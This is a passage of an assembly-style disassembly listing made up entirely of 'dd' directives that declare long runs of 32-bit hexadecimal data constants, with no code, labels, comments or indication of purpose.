		dd 5FE1DD27h, 1CB4D596h, 5D4F4704h, 73D8E01h, 0E1D46B0Bh
		dd 71100812h, 8FE90914h, 6BE7DC30h, 342FC77Fh, 0B98BFE6Ah
		dd 5F92111h, 5EB46856h,	0C17AC68Bh, 902B2A32h, 269C9808h
		dd 5B33E90Dh, 0E8C7D14Ch, 42AE3A5Dh, 436B68E3h,	649C1864h
		dd 57495F1Fh, 79F524h, 77E64389h, 0E7F638ECh, 20E4164Bh
		dd 5E0B40DBh, 9449F7F8h, 0F8EB1215h, 0A7F3E956h, 0CD66E90Bh
		dd 7F8FC67Fh, 4B909E9Dh, 5A9740D8h, 965EFEF8h, 0BF9A2D09h
		dd 635AAA7Eh, 0E126F892h, 2720903Bh, 12F4A6EEh,	0EEC3F2DAh
		dd 2D1692EEh, 15C66C49h, 0BE26FC20h, 0A77743FDh, 0B1F3AB2Ch
		dd 3E2AC501h, 43243278h, 5B08A1EDh, 2E13E16Fh, 0B200ED1h
		dd 4D3F5F03h, 1ABCCAC1h, 5EC71410h, 0C25BECE6h,	0DC5726BFh
		dd 2210C454h, 81BBA020h, 3A6D0FCBh, 8E3F1FD5h, 64F3DC25h
		dd 2E857112h, 898F68EFh, 0D099ED69h, 0E59EBDB0h, 7573E918h
		dd 0AFB8C8h, 0D32D04Fh,	44793B55h, 2B4F1598h, 0BC7085D3h
		dd 0F84F8CA3h, 2545582Eh, 4E82FFCAh, 0B1A963A5h, 0DD693DFCh
		dd 0E5AD8AF3h, 0BB91341Ah, 45826791h, 0BFAA7789h, 0B344197Fh
		dd 0C5E3907Fh, 702D721Fh, 4C0BF235h, 607636C7h,	7FC60C5Bh
		dd 0FCF95C69h, 1A09CB1Fh, 0F7FD898Eh, 0CDFE95E6h, 587D9200h
		dd 0B850453Dh, 0B57809B6h, 0C582214Bh, 9FDA2B56h, 0A04B72BDh
		dd 0C31F6A92h, 5AC66888h, 0EFA6AD10h, 257551Fh,	5C6E4EF8h
		dd 9D045C57h, 0A02D935Ah, 8012B08Fh, 0DFA8C128h, 1F44D710h
		dd 0C90048B1h, 9F8F0F42h, 0F05BC46Ch, 8261ABBDh, 590240FCh
		dd 67549289h, 0EA323B27h, 1B854B1h, 2BE4BFB9h, 0DFE42BD1h
		dd 2705FED6h, 6E77FF32h, 1B8F2FC4h, 8CD2E74h, 0AD29AF2Bh
		dd 0E9C3A928h, 384F1250h, 4A938BBAh, 0F28E3AF9h, 8A0F2C38h
		dd 0DA1512Ch, 0D1671C89h, 0C7690C6Eh, 5B5FDDACh, 0AAB48AF8h
		dd 688283A8h, 48541E10h, 7D767E62h, 0EC4A3614h,	70E3ED17h
		dd 813E1C26h, 0B0C2CAEBh, 0C11A20D4h, 43123013h, 8408EEDh
		dd 95FF955Bh, 0B0E90B3Ch, 58BFD278h, 0A0B7810Dh, 1DFBE00h
		dd 77046E25h, 3FA0674Ch, 332502BFh, 6296750Dh, 13A0C8BCh
		dd 39245758h, 43277C31h, 14FFE5Eh, 8305E7C1h, 0E90B75EFh
		dd 0BE7F30D7h, 248FA591h, 676D469Bh, 5EAD7614h,	5172093Dh
		dd 0ED561C04h, 0C7FFD2B7h, 0AD48E5D4h, 5E0E050Bh, 0CBC20841h
		dd 7F624A7Eh, 0EEE582D9h, 0EE4E38BCh, 2D538365h, 0E1A173B8h
		dd 54E62E62h, 0B5A29B2Ah, 92BE655Bh, 4F845BF5h,	36A23B84h
		dd 76C51251h, 50014FF0h, 12C5B2D5h, 0A05E690Ah,	0C767AF95h
		dd 3873CB31h, 0E3FB846Dh, 4C215ED9h, 0D12E704Eh, 1033D096h
		dd 3149C7EBh, 0E60C2277h, 888C4270h, 0F6F8A68Bh, 7506F9Fh
		dd 0B7401E9h, 0BD40C555h, 0BBDE9558h, 91DD52AFh, 0BF2B5A9Ah
		dd 133C4F26h, 3232A3E9h, 5B5F5DD5h, 66574BA4h, 46AE2D62h
		dd 28473279h, 68590248h, 96531E3Fh, 16EBBC88h, 5B5E0143h
		dd 0F175B536h, 0D7A2DA3Eh, 711A44FDh, 0C0C649EEh, 359B220h
		dd 0A791AB9h, 47C0BA05h, 5F98653Ah, 4110E917h, 0C1015046h
		dd 397ABFCEh, 324F26FCh, 0FD89EA72h, 43CF7461h,	0B6E5EFE9h
		dd 77417F60h, 0D63AB27Fh, 0BD8A8CEEh, 688DDFB4h, 0FB3A6AA5h
		dd 0F8014E71h, 0EC3028C9h, 0B4AFB212h, 2509C93Dh, 775AECDEh
		dd 312D6205h, 516C586h,	0B353C1D0h, 0DD882E10h,	0BB6445BFh
		dd 0F62AE1C9h, 15374C7Eh, 16C1FAFBh, 77D916C2h,	3B9C03Bh
		dd 0D1B0298Fh, 6A7F9202h, 0E0F7455Dh, 1218E57Eh, 0A040091Ah
		dd 244105ABh, 7795CC42h, 0FFB4F91Eh, 0CB2BFDC9h, 0D02780CCh
		dd 0CFF1F461h, 83E8E3F6h, 856D60E9h, 9E7DF2EEh,	6B1C240h
		dd 29E97F8Dh, 0AFB52FD3h, 428B0354h, 409C2738h,	7F80D29h
		dd 1FBCBF5h, 3B68501Ah,	6E2BBA32h, 4F8508FDh, 0BA7464E5h
		dd 0CB551FCh, 0F0B6782h, 9C703A5Bh, 346B753h, 0F12E780h
		dd 7F4FA389h, 545D28FFh, 0EBAA209Fh, 37F8E76h, 0BE56505Eh
		dd 74FB6E52h, 129EF6F8h, 0F137302h, 7619EB88h, 8D0BBC3Ch
		dd 0A82266DFh, 0A8DDF6C6h, 0F309DD0Fh, 503AD60Ah, 0D8A8219Ah
		dd 15C4703Ch, 800E75A2h, 18D182D6h, 250EB9F7h, 2A53396Bh
		dd 906837C0h, 624EB671h, 5D0B1E9Fh, 5A4C730h, 2A685C80h
		dd 0B5194861h, 0A09046h, 85060243h, 3EBBE901h, 89A72DA9h
		dd 0F24B3376h, 4A7798E1h, 0F56CC04h, 0EFFB7260h, 0A1AE172Ah
		dd 7ACAF1h, 53A6BAEFh, 0FE9D42FFh, 0D5E2016Eh, 2071FB74h
		dd 4F13E334h, 13BE1488h, 5EDC0198h, 2FF07FE9h, 0C2F624AEh
		dd 0F5095910h, 0FB006189h, 42F1DFD6h, 0A7ED095Bh, 4CFCAC92h
		dd 0BFB10147h, 0C5316F93h, 0AD6F1B71h, 22914182h, 0E2F0D349h
		dd 796C9CA8h, 3D8C8244h, 89285547h, 1DEB824Eh, 59DF0970h
		dd 26095BF6h, 5F65F5E9h, 933CCCD1h, 91F5F736h, 1F79B82Fh
		dd 7A49DA01h, 536F7C67h, 681D61E1h, 14E2E7B1h, 67675D3Fh
		dd 4119B90Ch, 7D0C5010h, 0AC085AFAh, 0ED2B754h,	78CEDAA1h
		dd 6C1F2561h, 36B641C6h, 250E9B88h, 8309600Fh, 0EDC057C0h
		dd 532E0878h, 3478410h,	46680468h, 5535BE05h, 3A00A1BAh
		dd 3A657DEEh, 0A4EE2DFAh, 0FF27C146h, 441637A2h, 5EBDEEDFh
		dd 0D608B829h, 3D888BBBh, 669DF7E9h, 124D5A68h,	0B1350FC5h
		dd 0DBF713F0h, 5A02161Ah, 4FF6B51Eh, 38D92109h,	1502E14Eh
		dd 7A70D668h, 74B95101h, 86125D42h, 0BED1BBE0h,	0CE09596h
		dd 2C02DBE2h, 2068080Fh, 271CC05h, 602F355Ah, 9D40F209h
		dd 87801C77h, 59E2EEF9h, 0BC1853ADh, 6B71D553h,	6D074E91h
		dd 0BDB3D44h, 60B679ADh, 0A5692AEBh, 0C3010614h, 79A00A0h
		dd 0B1E93C4Eh, 0F2E7A45Bh, 0C6FDC021h, 7410EFCh, 36EE2924h
		dd 0DBE5D2Ah, 30705758h, 6B680B6Fh, 6E58422Eh, 3CE4D4ADh
		dd 0D291306h, 4E46C221h
		dd 4B25D7E4h, 1399EFFFh, 0E912BF32h, 0FEE1C491h, 84E455B1h
		dd 0C012C015h, 0E8D003E0h, 0A1981CB0h, 1ECF87Fh, 0C241A597h
		dd 447195BBh, 129882BDh, 5CC578BBh, 893CE92Dh, 0D1BB77F6h
		dd 525368Ah, 0C0FE8645h, 8B4266B1h, 30E24730h, 0F685756h
		dd 5FDE384Ch, 0CE325444h, 6E775F0Bh, 598BBD46h,	27F60610h
		dd 87BEBBC3h, 0C27392FEh, 89D2A7E7h, 514466Bh, 0A41749BDh
		dd 9945AA02h, 0DBEC5DEEh, 6D5C0A93h, 8878EC54h,	0DEA8E25Bh
		dd 19162448h, 5428F447h, 15A43112h, 0D87F20F1h,	24BFAB44h
		dd 21EFC581h, 7BFEF4Fh,	7273F307h, 0C4D7764h, 6D060A54h
		dd 4571FE0Ch, 6B17394Fh, 70607B29h, 0B3EE5FE1h,	0D4FE974Ch
		dd 75ADAE88h, 0B530B8F4h, 7E260B09h, 0F3E8FCCh,	1C2FA30Bh
		dd 0B4A49C6h, 1F0A4126h, 68DD8861h, 0D3D8B4FBh,	7E4341A1h
		dd 0E8CDD1E1h, 416DFD3Bh, 2FD42F8Dh, 5F1E7C2h, 40C7BF5Bh
		dd 47F8E595h, 8E9AFA4Ah, 35685904h, 0EA1AD844h,	30FB6313h
		dd 12A29310h, 0B409369Bh, 8EE82A9Eh, 0F5888609h, 0F60E9858h
		dd 8FDFB450h, 69EC04D4h, 886881ABh, 30CB2BCAh, 0FDD05A7Fh
		dd 14BE963Ah, 0A813CEF3h, 0EFC8EB9Bh, 0CC9058BBh, 0D8316400h
		dd 0F080055Bh, 0DC936B28h, 8627D31Dh, 3090E9C5h, 0E0A88BAh
		dd 66142D9Ch, 12E84A4h,	8C07E410h, 0B272A655h, 0C677836Eh
		dd 0CDC0ABB5h, 0FC7A5B29h, 8BAA9664h, 512B5025h, 0B72CEB40h
		dd 26418DD0h, 281DB13Bh, 0BF57C0EEh, 0FD48098Ah, 0EF38406Eh
		dd 0AD10BAF9h, 0D39CFDB8h, 60D1B83Ah, 1D36C1BBh, 201F7B8Fh
		dd 0BE002142h, 92C6DF8h, 12DECE81h, 0A45B7467h,	3F2F84E0h
		dd 0E3C153CAh, 616015Eh, 4EB42BE9h, 0FBF4029h, 0DE802Fh
		dd 7A360597h, 2D2E9072h, 8EA21B97h, 0D9C14307h,	108C6947h
		dd 501DE12h, 5E771A78h,	65FDED93h, 0DF533D6Bh, 6E827253h
		dd 11F5368h, 655E8EBBh,	4012B61h, 430F5C5Ah, 0D5D5A861h
		dd 5F20AD8Ch, 5A09F1E5h, 419D275h, 90BF36BAh, 7E6FE1D6h
		dd 0E952A605h, 8EADD370h, 0F90B4112h, 0F9F6C446h, 8446BCEFh
		dd 0E9287D43h, 58476261h, 1A3FCB09h, 0F6754A0Ch, 3F29D877h
		dd 99C3ABC0h, 0BD32F305h, 0C1971F46h, 2FBB4280h, 0FD5E6038h
		dd 0F0568C42h, 0D4E4BFC2h, 0E09C907h, 0C26F42E4h, 40566ECEh
		dd 8275DF45h, 2F0EB475h, 737A1C4Ah, 5761A7B1h, 0FA754FE9h
		dd 0ED2246Ch, 0C1056FD3h, 0ECE1BB5Ch, 0E2EF0804h, 4DD8D241h
		dd 2C104461h, 1F0262B2h, 5F5B3E05h, 8A38434Fh, 80EDF78Bh
		dd 91486B13h, 1EF24FFh,	3A61AFE3h, 0EC417A69h, 7DFF6309h
		dd 0A8316771h, 0FBF9D7DAh, 69E583CFh, 403CB26Ch, 2E2F93F1h
		dd 406A99h, 24DFFDA3h, 5B59D929h, 0ED83137Ch, 61008CECh
		dd 0E9324140h, 55826302h, 22FD250Bh, 0E1F201A5h, 0B36E857Dh
		dd 1A3348CAh, 55E13B05h, 0AE23DD8Fh, 0E397774Fh, 1C2C19FEh
		dd 0CE186386h, 5CD0C309h, 2B4809E3h, 0A40B0D17h, 5781E21Eh
		dd 168F036Fh, 0E07427F2h, 0FC7B6717h, 0F2C0D184h, 1CCB630Fh
		dd 0ADE6D15Ch, 102B95Eh, 4123E94Ch, 526C394Dh, 6F685580h
		dd 5DFC9344h, 284FEEECh, 13E97670h, 4FA1B15Ch, 0FF3946Ch
		dd 0B9F1831Dh, 0FADCBBBh, 0CFC8B4C7h, 0C3439DB1h, 0CAE95F05h
		dd 0D6337F02h, 125F7093h, 7A9C72EEh, 7EDAD86Bh,	8600406Ah
		dd 0FE34FD88h, 0F1685201h, 5A1D2B1Ah, 0F5BE07Ah, 375A8979h
		dd 86E621EFh, 62CCE3C2h, 0B01EC855h, 0E70B0BEh,	0AEF480B9h
		dd 0B958E305h, 25172E79h, 0AC052210h, 31543268h, 0C22EB295h
		dd 0C930B2F5h, 5C2E64EDh, 0FCD81E5Ch, 5BA680Ah,	0B23388A2h
		dd 1727BB00h, 3E8343BDh, 369A01C3h, 8FC1AD1h, 434ED5A7h
		dd 0D25ACF90h, 0E72BFCB1h, 0ADE10E7h, 1CEB4C4h,	0FB8ABCB1h
		dd 5A7702Ch, 9EE6211Bh,	0BBB20728h, 18E5F364h, 0BDCBF2B0h
		dd 1F7B0101h, 6EDC17Fh,	1DE24520h, 0BC1DCF32h, 8AA1D280h
		dd 5DEE2918h, 361720E3h, 7AFF55A2h, 13263094h, 8FDBC617h
		dd 90B5613Dh, 95A2FA2h,	59E1E67Eh, 8B63F5Ch, 7341C602h
		dd 825D0633h, 419E8B4h,	0BBFE830Fh, 7AF9424Ah, 68EF2884h
		dd 0E98BA50h, 3C595DBAh, 702C87Ah, 68404D58h, 4182E713h
		dd 286B52DAh, 36B6564Ah, 0D19655E9h, 0F8B0D2EEh, 27A3424Fh
		dd 5B68292Fh, 7514E5CFh, 12DF3F8Eh, 8EBA7A8Dh, 702E3873h
		dd 614AFCB5h, 3BFFF790h, 0D2527CFEh, 0B1EB2748h, 68008BE4h
		dd 0EE943C62h, 9850DE63h, 9CE953F4h, 0E55DA57Ah, 723B08CFh
		dd 1540DD20h, 46AB849h,	0D7AEDD4Bh, 2109AB09h, 777E29D9h
		dd 501646E5h, 34D31E5Fh, 61D0CAAAh, 0A6E95579h,	0E03CF125h
		dd 95064701h, 609BB82Dh, 293274AAh, 5DA850F0h, 89C722Ah
		dd 5B13E4CAh, 58F3F2BEh, 856C2415h, 4CB1BE80h, 5B89798Eh
		dd 8128EFF1h, 0FCF1BFD9h, 40BB9564h, 3F88F53Ch,	2D0E508Ah
		dd 0B2C90A71h, 7D110BEh, 332AAF58h, 1ABD3F1Fh, 286A0D1Ah
		dd 8A70E55Dh, 4B1844F0h, 30DC2DDFh, 0F64CB342h,	5BDE8B1Bh
		dd 0D43409D5h, 9FCAC16h, 905D2AAEh, 744A064Dh, 0ABE5F840h
		dd 510C10DAh, 92B90254h, 7D5C9439h, 60068C8Dh, 0B5C0F027h
		dd 472F6851h, 0A64D4E7Eh, 53F100F2h, 0E963D925h, 2ED8411Ch
		dd 2AC96AA9h, 0D525A7F6h, 96CD6A25h, 0BE40C8E2h, 2FC1B054h
		dd 487C500Bh, 4E3ACA01h, 0F47A0D63h, 6502E2Dh, 1E40915Dh
		dd 0E786130Fh, 19DABA59h, 0A4876E4Ch, 6D550902h, 200CA881h
		dd 523B8479h, 0E05FA751h, 3905BF53h, 0DB484675h, 374E8404h
		dd 28B0BB3Dh, 35C70CEFh, 0E9131B65h, 3A22102Fh,	0A50C795Dh
		dd 9EF53E32h, 10D79776h, 802AC75Fh, 2CB8EF80h, 1E4C9120h
		dd 0CF06E6C0h, 0EEC7F7CEh, 92E0E448h, 0EDE310Fh, 160558h
		dd 2D12BB2Eh, 57403C27h, 827978BFh, 5AB0F707h, 335C2863h
		dd 0A7E10286h, 806B457Eh, 0F73D97F3h, 1FB9064h,	3AE79DE9h
		dd 0DDC8291Ch, 0E493E2Ah, 301F0766h, 8545C94Bh,	65C67DDEh
		dd 0E7806E09h, 8AE887B9h, 1C3D2468h, 5B2E7BFEh,	447A0921h
		dd 0A9B49555h, 0D76861D5h, 5C55C272h, 31E959F6h, 4D5A9620h
		dd 0A0CC0401h, 57F047FEh, 5359BFD5h, 5A5F5280h,	2D68E7D1h
		dd 3F76759Ch, 0B0F1F9C7h, 0B7A461Ah, 0A2E6BFFDh, 0DAF9E395h
		dd 2F275660h, 96656CFEh, 31A905EBh, 55DEC3E8h, 5BC22500h
		dd 0F28884Fh, 927F2684h, 8E044B80h, 0D731074Dh,	1CBCFA77h
		dd 0C2012859h, 54ADF83Ah, 24BEC345h, 88BA071Ah,	0FF2D8891h
		dd 6E929699h, 0F3BF4385h, 1A748596h, 92A637EBh,	0D6A3BDCCh
		dd 0EF843C06h, 0AF9272B3h, 0B7199CB2h, 65D2513Bh, 1DCE7AFEh
		dd 68823449h, 0E6D56D37h, 0A8BB0FC9h, 0E0B6426Ch, 4727E9CCh
		dd 3E8FF1E3h, 0BB399412h, 598BED2Dh, 38E0D6E9h,	6815F328h
		dd 1230266Bh, 0A874DB4h, 30EAF4D4h, 80A4B51Fh, 288CEB16h
		dd 125EFDE8h, 0A478A8F7h, 858BBCEBh, 0BD02F8D9h, 555A5E52h
		dd 0CE00F056h, 4F072873h, 7E48B457h, 9CB28484h,	0CC9D4E34h
		dd 0F4F19DAFh, 38917043h, 170A4102h, 48007F25h,	502A9D05h
		dd 9591F29Dh, 8CE9F182h, 0F480AC8h, 70FE8548h, 635CF4B5h
		dd 0FF92CA8Bh, 8A89AD5Fh, 0D14E3132h, 3EBD581Ch, 60C0A8E9h
		dd 0E94CD678h, 98056627h, 9347BF17h, 0C58100B6h, 29A65541h
		dd 0F55D9FFEh, 45E7642h, 0A480FC64h, 58353020h,	152C2149h
		dd 81400063h, 5866BBF2h, 0EA013E76h, 2DA846ADh,	1C9FD2F7h
		dd 7D324913h, 4D5DB300h
		dd 18C10E80h, 1F785109h, 0C87DA57Eh, 52905759h,	4B31711Ch
		dd 2C40B868h, 2FB2905Bh, 6799555Ah, 6CEB6045h, 0C54B84FAh
		dd 0FED3D6ACh, 2EE517C5h, 0FB05F1DDh, 0BA26FBB0h, 0FB76BF49h
		dd 0D8C3E942h, 0B55113E0h, 8B7DF9CFh, 4B26615Dh, 4A2FB040h
		dd 79FFB09Fh, 5518C99Eh, 71900BD7h, 16E96153h, 56316B55h
		dd 0D0C1C5B2h, 416A1EF5h, 12BCE23Ch, 0FA807E66h, 4EB2269Bh
		dd 25C8BC4Eh, 8843455Eh, 3318BA15h, 819165E7h, 0E2AC6EBDh
		dd 0FE61124Bh, 21FFE625h, 31071Eh, 143CABFh, 73B9147Dh
		dd 7AFBF208h, 2960C4A1h, 8AF8548Dh, 801A2FE9h, 880818DDh
		dd 0AF5A4AC8h, 4ABD6AC8h, 0FF1F9530h, 9D5A3DF0h, 53509518h
		dd 41B708FCh, 6C4A58EFh, 0BDF17113h, 68189876h,	954E9752h
		dd 9A7CEE9Dh, 0EBD180F4h, 54F4001Ch, 45524A35h,	4131E90Ah
		dd 60D2CDAEh, 0F46BC97Eh, 10D30922h, 0C0158983h, 180F4645h
		dd 0D337F482h, 0F913C8C3h, 0F7133184h, 2EBEA3ABh, 68851962h
		dd 89986443h, 976904D9h, 0D709E957h, 6BD46B94h,	7C690B67h
		dd 5487E92Dh, 0E57F0B5Eh, 4DBA556h, 2FC27027h, 0F17C7275h
		dd 0BB7FCD60h, 4EDBB841h, 4A48C034h, 0E916E2D1h, 49A51251h
		dd 0E7EEE360h, 0B486FEECh, 88328979h, 0CB40CA8Fh, 0E950D3F6h
		dd 0CAD274Dh, 62FC580h,	70C3EC88h, 0E5EB7BE1h, 0BABCC0D6h
		dd 6A418247h, 5FD2783Eh, 93C261BFh, 0B5B27ABFh,	843850CBh
		dd 0E796577Bh, 38536841h, 9D54AE4Ch, 2BFBBC50h,	94ADFBCCh
		dd 0AFEB928Eh, 408834C5h, 6F40414Fh, 0F2C414A8h, 76435885h
		dd 0A9EAD6FBh, 3D34C507h, 2F7EEDFDh, 74768D8Ch,	1F14BAD8h
		dd 722E8A03h, 9BCA11F4h, 78E5EFFCh, 27E97AE0h, 88EC26A7h
		dd 6CAE5651h, 83E9A096h, 4209D09h, 12085B52h, 5821582Fh
		dd 16B2E68Dh, 0A0EDF7ECh, 43868FFh, 8EAE4E42h, 5EF1C29h
		dd 2B65F2Fh, 0B47EFB29h, 4897B18Bh, 96C0F2CBh, 66253F37h
		dd 795FE2E2h, 5FA5EF9Ah, 0B9254B55h, 0E904215Fh, 206B6FF9h
		dd 55EF87F2h, 0F314F72Fh, 0E4FC3FE9h, 0B6F890FDh, 2FA92809h
		dd 51471345h, 151CDDADh, 27D072C8h, 0DB033C59h,	0F154D66Ah
		dd 0CD8A659Ah, 405938EBh, 39936A1Fh, 767CF8BDh,	0A65CBD68h
		dd 8D214560h, 0C8D2B749h, 0E42C5EFEh, 74026E64h, 0E315EA61h
		dd 0CF04804Bh, 0BF57003Ch, 3A271639h, 5C95B0E9h, 0B879E49h
		dd 9451A002h, 0D3E15C67h, 0BF2AFEF9h, 0C2E42A2Ch, 4D6A6837h
		dd 0D1778E9Ah, 53849642h, 0BCA2BF4Dh, 2D8692D4h, 99F68F4h
		dd 0B84EFD30h, 0FC35E62Dh, 96A942A3h, 263113FAh, 0C1B80C24h
		dd 54244D4h, 0BBDB4305h, 0E017A8BDh, 0A60A4D68h, 4E9EF0A8h
		dd 18C8CA6Bh, 0E2E1FBF9h, 7EC12F3Bh, 9FA814D7h,	777D0FD2h
		dd 0EA126926h, 0FE27A23Ah, 7FE4147Bh, 3E209893h, 0F3EA8012h
		dd 0B3E8D0BBh, 0E92DD320h, 433BDD89h, 6DF7C9D9h, 7B71860h
		dd 82465617h, 5D61CC7Fh, 0F84FD6C4h, 0E6B98661h, 9C71775h
		dd 7A8BE157h, 284F6EF7h, 0DB4C0B09h, 4025391Fh,	0FE599050h
		dd 10B680ECh, 874077B0h, 5FFB2F09h, 0D02DCAD6h,	0EE0509C5h
		dd 7DD45F9h, 4BCE87ACh,	3D1E0FD5h, 8EAB03Dh, 9F5B5553h
		dd 96DA4FE4h, 407BC082h, 5FEBC64Fh, 16B583FEh, 525800B5h
		dd 7408A3BAh, 0BB045360h, 737C15BEh, 171BFCC0h,	10C13C3h
		dd 88C10DAh, 0B1C8C75Eh, 9D88A3E9h, 0B4D62ED3h,	0D484240h
		dd 21E5E76h, 7E7B3539h,	0BD57DDEh, 0CF3AF587h, 0E7E850A2h
		dd 28DE400Bh, 2864B54Fh, 56F3C130h, 298AE88Bh, 2DEF68F2h
		dd 3A79CF60h, 0DE065327h, 9308A0E0h, 0BD55004Ah, 5B0113BFh
		dd 9389F3BDh, 0D2131Eh,	3974B714h, 0EB58D12Fh, 6BB981EDh
		dd 208164BBh, 1D1AB07Bh, 9CB42E09h, 803D6FFh, 431DFDD8h
		dd 0C90BF8Ch, 80C639FEh, 0B625F05Bh, 55B62D60h,	2C5A5D59h
		dd 10C8A5F3h, 3822625Fh, 91EDF6Bh, 27D98839h, 48A3D5F3h
		dd 2E1C9745h, 0C80EEC04h, 561A992Ch, 0BFCA0020h, 81109EC4h
		dd 412F338Ah, 881990C1h, 9E81BB7h, 0B6F32D24h, 2C9E1EB3h
		dd 0B4BA1229h, 787A822Ah, 0FA01F5A2h, 6AAC1540h, 0FC4D743Eh
		dd 6528176Bh, 715A13DEh, 6A09DE23h, 25515FD8h, 9A0AC7E9h
		dd 45730BBFh, 848455F4h, 1163B10h, 720EBC1Dh, 4CCE8C19h
		dd 77F31926h, 9A8D5046h, 28739DDDh, 52CD05C0h, 143CB666h
		dd 0C058072Dh, 0D458817Eh, 480057B9h, 0E18102B1h, 4A2C4E98h
		dd 416E8360h, 15FCF1D0h, 0C4ABE30h, 2795B806h, 1857310Ch
		dd 5E1FE9EEh, 842AB659h, 0AE169F5Ah, 44CBA662h,	0DEEE0707h
		dd 375B8B01h, 8548EC6h,	52440C63h, 0F10D1E93h, 38C177E9h
		dd 0BA022E28h, 570329F9h, 0FD8FC255h, 0B92E54A7h, 7D36C44h
		dd 0EF1408h, 0B2525051h, 0D43988C2h, 5E5AC5Ah, 4E6BE958h
		dd 93FEB37Dh, 0FE1616FBh, 49A0EFCCh, 573B767Ch,	7C0BDCA5h
		dd 14048351h, 14819175h, 76C0C5E5h, 0CD870937h,	0B512B850h
		dd 16A90CFDh, 97177DE9h, 0E48862F1h, 0B6F6CE56h, 5BDE16D8h
		dd 0C2AAAF12h, 0BC590180h, 0B3137411h, 187BE360h, 51E31E6Dh
		dd 4810F055h, 0BF8E5094h, 0AFDFBF7Fh, 627E4161h, 59D09C24h
		dd 0C91920B5h, 714F06DAh, 0AF8CFECAh, 1069F20Ch, 2709F456h
		dd 910BC17Bh, 87F15E1Dh, 0F14E6FEEh, 0E5F009A6h, 0FC8B4055h
		dd 73049032h, 1CE9C589h, 0FB5BF9BCh, 5D1C0476h,	0EF0245F0h
		dd 6D6569AEh, 0C652B0C0h, 589A672Dh, 9168129Fh,	5990CC46h
		dd 39C72201h, 0EC8BE95Dh, 95CDA780h, 4D116108h,	73CF72E3h
		dd 0F352A103h, 2FE92993h, 22624332h, 71F4FE77h,	55240429h
		dd 68FE90FAh, 852F6FD5h, 4F5DE041h, 7BBD2002h, 422C9409h
		dd 3085D547h, 6853E004h, 0DB535B2Dh, 19010E2h, 8F86BC35h
		dd 0BE3B01E2h, 0D8297544h, 124C7DE3h, 42078D1Fh, 0BF9BE966h
		dd 0B9972775h, 14DE7421h, 48B074h, 0D22DD8F7h, 29355D94h
		dd 0CBE07EBDh, 0EFE3B205h, 0C331D431h, 0A2E1027Bh, 0EF512509h
		dd 7EB2290Bh, 0E840DA20h, 0A4A44DDBh, 541A7109h, 3EC2DC13h
		dd 6B800F0Bh, 7CBFF3F0h, 7B105A95h, 0D612DE9h, 36BBEA4Dh
		dd 906F6CD1h, 9F7034E9h, 832AE9F4h, 0AF21AB14h,	1DB8923Eh
		dd 17315E76h, 3738EBC7h, 206F12D8h, 9DF2FF14h, 0B05E512h
		dd 1A5E8369h, 476BDC4Bh, 581A9868h, 3D545596h, 1129A26h
		dd 50FFE2EBh, 0C4B71BA9h, 0AA85F0EAh, 5E89639Fh, 0F6FFB460h
		dd 4D7151B7h, 34007A23h, 736684BFh, 2B7F9714h, 228277A4h
		dd 52FB36B9h, 9909459Fh, 0F66DFDAAh, 0AD87C72Fh, 0E94106F9h
		dd 0A63A0A30h, 88789802h, 0B8FDE4E7h, 5A3D27F1h, 56783D7Ch
		dd 2580AA5Ch, 0E7FF50C6h, 838A97D3h, 0EA5B9765h, 47143ACBh
		dd 0F7CCFF17h, 555B0677h, 0CA41D38Fh, 0FEE5136Eh, 2F689828h
		dd 194C1211h, 400AE927h, 0EECE201Ah, 4F669280h,	0AD3DAE57h
		dd 9D4CF2Eh, 0D91A4E68h, 66F680B2h, 1EE92E39h, 51259CBEh
		dd 7AA7BDACh, 0DDAD7D7Ch, 50A1DC1Eh, 449F34FCh,	5EC4C697h
		dd 45C29859h, 0E96498BDh, 0A4935A9Fh, 60405291h, 0C7801C5Ah
		dd 5DCF1D81h, 0F65946EFh, 342D0CDFh, 0BBA9F528h, 0C38663E8h
		dd 0D1686609h, 38FBF26Dh, 0E85B6BB4h, 49C7C456h, 0DF6D0312h
		dd 21D1C35Bh, 7DB8A7EDh, 0D3029932h, 962BBh, 0DF752DDCh
		dd 0A6895FFEh, 8BFC5B97h, 45BE092Ch, 0A066C4EBh, 0FE9F2DA9h
		dd 5CD32F12h, 0D10013ADh, 0A2513848h, 8B6A0626h, 82AC4E61h
		dd 923EC404h, 0E781FE18h
		dd 0FEE8D27Fh, 0C9895C51h, 605DC75Bh, 5B662F23h, 7A1F3F0h
		dd 0DD594C59h, 0D14FE290h, 0D053F192h, 4E67F679h, 0A6214FBFh
		dd 87E00209h, 1127035h,	8CEC332Ch, 8BDEBF76h, 2BAFFB52h
		dd 0BD9C2A6Eh, 7C1EFD60h, 2754794Ch, 0DEB2228Eh, 315A019Dh
		dd 2A9AFBCBh, 0C0693255h, 13D36855h, 6038CB71h,	344CE93Dh
		dd 30BC3099h, 0C1814F92h, 73741D89h, 8BF18302h,	0EBB593B7h
		dd 0ADD27CA2h, 0AB791231h, 8DABF4EEh, 0C38842F2h, 24CC9583h
		dd 0D3605972h, 0FBE99C76h, 0D2FE4DEBh, 2AF7042Fh, 431025FCh
		dd 6277BD25h, 1F10DE35h, 1A41890Ch, 0D9503B55h,	7797F448h
		dd 7F21E5C4h, 643B04B0h, 0FF0566FDh, 9F2DBAA0h,	0FE27C7F4h
		dd 45F1C9CEh, 8816F7EBh, 68525701h, 48F758A8h, 0E977342Eh
		dd 6D840C9Ch, 17F24D42h, 0EB013A63h, 0F8DF910Fh, 27684A18h
		dd 7D994293h, 6B493BBFh, 5556628Fh, 880F2060h, 0F6BFD87Eh
		dd 29BCE328h, 0B8CD1702h, 40767733h, 0E26ECBC1h, 0D60CC70Ch
		dd 0C0D177ACh, 4270FBF5h, 1FA65940h, 16435850h,	2F84ABE9h
		dd 9B84A116h, 592ECEEEh, 72E982B7h, 0B3BA4819h,	0D22C387Eh
		dd 5827D83Eh, 3782B989h, 0B3014EAFh, 0C83B3052h, 8C405F93h
		dd 9559D59h, 0AE9F0A94h, 46B255AFh, 0EB299FDh, 6458E268h
		dd 97A2B27Eh, 6CC9865Ch, 13CB2E0Dh, 2ADCCDE4h, 9317858Ah
		dd 689C28E6h, 4235C726h, 17805464h, 2D5DCDBEh, 1E62522Ch
		dd 0F88BE9C1h, 92E3C19h, 11081ECEh, 9E801DA9h, 1E750B37h
		dd 329DCA44h, 0FA745F72h, 4B5A7969h, 1D2AF303h,	2B45A910h
		dd 0F191EE4Bh, 0BB96C7D2h, 2995A4EBh, 5E25FB7Dh, 226072EAh
		dd 3030D55Ch, 0BFC33136h, 6FA63D64h, 1050FAA7h,	0C56FF199h
		dd 8E8821D8h, 120D0118h, 61870F28h, 5434ADA1h, 3B29439Fh
